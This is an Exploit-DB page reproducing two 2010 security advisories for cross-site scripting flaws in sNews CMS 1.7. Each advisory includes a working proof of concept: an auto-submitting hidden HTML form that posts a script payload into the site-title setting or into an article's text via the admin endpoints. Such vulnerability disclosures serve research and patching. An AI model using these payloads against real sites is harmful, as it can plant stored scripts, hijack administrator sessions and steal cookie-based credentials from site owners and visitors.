sNews CMS - Multiple Cross-Site Scripting Vulnerabilities

EDB-ID:

15295

CVE:





Platform:

PHP

Date:

2010-10-21


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

Vulnerability ID: HTB22638
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews_1.html
Product: sNews
Vendor: sNews Team ( tp://www.snewscms.com/ ) 
Vulnerable Version: 1.7 and probably prior versions
Vendor Notification: 05 October 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "website_title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?action=process&task=save_settings" method="post" name="main" >

<input type="hidden" name="website_title" value='sNews 1.7"><script>alert(document.cookie)</script>'>
<input type="hidden" name="home_sef" value="home">
<input type="hidden" name="website_description" value="sNews CMS">
<input type="hidden" name="website_keywords" value="snews">
<input type="hidden" name="website_email" value="info (at) mydomain (dot) com [email concealed]">
<input type="hidden" name="contact_subject" value="Contact Form">
<input type="hidden" name="language" value="EN">
<input type="hidden" name="charset" value="UTF-8">
<input type="hidden" name="date_format" value="d.m.Y.+H:i">
<input type="hidden" name="article_limit" value="3">
<input type="hidden" name="rss_limit" value="5">
<input type="hidden" name="display_page" value="0">
<input type="hidden" name="num_categories" value="on">
<input type="hidden" name="file_ext" value="phps,php,txt,inc,htm,html">
<input type="hidden" name="allowed_file" value="php,htm,html,txt,inc,css,js,swf">
<input type="hidden" name="allowed_img" value="gif,jpg,jpeg,png">
<input type="hidden" name="comment_repost_timer" value="20">
<input type="hidden" name="comments_order" value="ASC">
<input type="hidden" name="comment_limit" value="30">
<input type="hidden" name="word_filter_file" value="">
<input type="hidden" name="word_filter_change" value="">
<input type="hidden" name="save" value="Save">

</form>
<script>
document.main.submit();
</script>

Vulnerability ID: HTB22637
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html
Product: sNews
Vendor: sNews Team ( http://www.snewscms.com/ ) 
Vulnerable Version: 1.7 and probably prior versions
Vendor Notification: 05 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?action=process&task=admin_article&id=2" method="post" name="main" >

<input type="hidden" name="title" value="article title" />
<input type="hidden" name="seftitle" value="sefurl" />
<input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="desc" />
<input type="hidden" name="keywords_meta" value="key" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="29" />
<input type="hidden" name="fposting_month" value="9" />
<input type="hidden" name="fposting_year" value="2010" />
<input type="hidden" name="fposting_hour" value="16" />
<input type="hidden" name="fposting_minute" value="40" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="Edit" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />

</form>
<script>
document.main.submit();
</script>